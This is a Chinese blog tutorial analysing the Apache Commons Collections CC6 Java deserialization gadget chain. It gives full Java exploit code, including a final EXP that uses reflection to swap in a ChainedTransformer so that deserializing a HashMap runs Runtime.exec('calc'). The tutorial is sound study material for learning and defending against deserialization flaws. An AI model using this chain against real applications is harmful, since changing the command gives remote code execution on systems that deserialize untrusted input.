java反序列化之CC6

SoloWalker Lv3

java反序列化之CC6

CC6 链分析

前半段链子,从LazyMapInvokerTransformer类是一样的。

我们直接从LazyMap开始找其他调用get的地方。

寻找链子

在 ysoSerial 给的链子中,是TiedMapEntrygetValue()方法调用了LazyMapget()方法。

再来一次LazyMap弹出计算器的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example.originaltest;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) {

Runtime runtime = Runtime.getRuntime();

InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, exec);

decorate.get(runtime);
}
}

下一步就是让TiedMapEntry类中的getValue()方法调用了LazyMapget()方法。下面使用TiedMapEntry写一个exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example.originaltest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();

}
}

这里的逻辑还是很简单的,我们创建一个TiedMapEntry对象,然后把我们构造的LazyMap传进去并直接调用setValue方法,就会调用到map.get(key)

接下来向上找谁调用了TiedMapEntry 中的 getValue() 方法。

getvalue这一个方法非常常见,所以一般优先找同一个类下面是否存在调用。

于是找到在这个类下hashCode()方法中调用了getValue()方法:

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

在实战中,如果我们在链子中找到了hashCode()方法,说明链子的构造已经快成功了。

与入口类结合的链子

在 Java 反序列化中,找到hashCode()之后的链子基本都是HashMap这一条。

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

写一段从HashMap.put开始到InvokerTransformer结尾的弹计算器的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example.originaltest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"value");

serialize(expMap);
unserialize("ser.bin");

}
}

HashMapput方法自动调用hashCode方法,尝试构造exp,结果出现了一个神奇的现象,在序列化时就能弹出 计算器,与 URLDNS 链的情况一模一样。

所以我们需要在执行put()方法时,先不让其命令执行,在反序列化时再命令执行。

我们可以通过修改Map lazyMap = LazyMap.decorate(map, chainedTransformer),来达到我们需要的效果。我们之前传的参数是chainedTransformer,如果我们在序列化的时候传入一个没用的东西,然后再在反序列化的时候通过反射改回chainedTransformer,就可以避免在序列化时触发命令执行。

最终 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.example.originaltest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {

public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

HashMap<Object, Object> mapSerial = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
mapSerial.put(tiedMapEntry,"bbb");
map.remove("aaa");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);

serialize(mapSerial);
unserialize("ser.bin");

}
}

现在从头开始梳理一下利用链:

  1. HashMap这个入口类重写了readObject方法,当HashMap被反序列化时会被自动执行,而在重写的readObject方法中会对key,也就是我们put(key,value)key,调用hash方法,最终调用keyhashCode()方法。

  2. 所以我们要对HashMapkey进行构造,这时我们构造一个TiedMapEntry并放入键,值随便写一个,在调用链中就会调用TiedMapEntryhashCode方法,在此方法中会调用TiedMapEntrygetValue方法,在getValue方法中会调用属性mapget方法。如果我们把这个map属性设置为LazyMap对象,就会调用LazyMapget方法。之后就和 CC1 的利用链一样了。

  3. 然后就是关于以下部分源码的解读:

    1
    2
    3
    4
    5
    6
    7
    HashMap<Object, Object> map = new HashMap<>();
    Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

    HashMap<Object, Object> mapSerial = new HashMap<>();
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
    mapSerial.put(tiedMapEntry,"bbb");
    map.remove("aaa");

    首先创建了一个HashMap作为LazyMap的内部存储,然后创建一个LazyMap对象并用new ConstantTransformer(1)来防止序列化时触发命令执行。HashMap<Object, Object> mapSerial = new HashMap<>()这个HashMap则是最终要被序列化的入口类,然后创建一个TiedMapEntry对象用来接收LazyMap补全调用链,同时TiedMapEntrykey属性被设置为aaa,所以当调用map.get(key)时就为lazymap.get("aaa")。然后把我们的 payload 放到HashMap中,就能触发利用链。
    关于map.remove("aaa")的解释

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    mapSerial.put(tiedMapEntry, "bbb")

    ├─→ HashMap.put()
    │ │
    │ └─→ putVal(hash(key), key, value, ...)
    │ │
    │ └─→ hash(tiedMapEntry)
    │ │
    │ └─→ tiedMapEntry.hashCode() ← 入口
    │ │
    │ └─→ getValue()
    │ │
    │ └─→ lazymap.get("aaa")
    │ │
    │ ├─→ 检查内部 map 是否包含 "aaa"?
    │ │ map.containsKey("aaa") → false (map 是空的)
    │ │
    │ ├─→ 不包含!触发 factory
    │ │ factory.transform("aaa")
    │ │ ConstantTransformer(1).transform("aaa")
    │ │ 返回: 1
    │ │
    │ ├─→ 放入内部 map
    │ │ map.put("aaa", 1)
    │ │ 现在 map = {"aaa" → 1}
    │ │
    │ └─→ 返回 1

    └─→ 最终 mapSerial = {tiedMapEntry → "bbb"}

    所以此时LazyMap中有一个键值对aaa->1,我们需要删除它,以便后续的调用。

总结

1
2
3
4
5
6
7
8
9
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

这是CC6的利用链。这也是最好用的利用链,因为不受 jdk 版本的影响。

  • 标题: java反序列化之CC6
  • 作者: SoloWalker
  • 创建于 : 2026-05-13 00:00:00
  • 更新于 : 2026-05-24 19:53:58
  • 链接: https://s0lowalker.github.io/2026/05/13/java反序列化之CC6/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论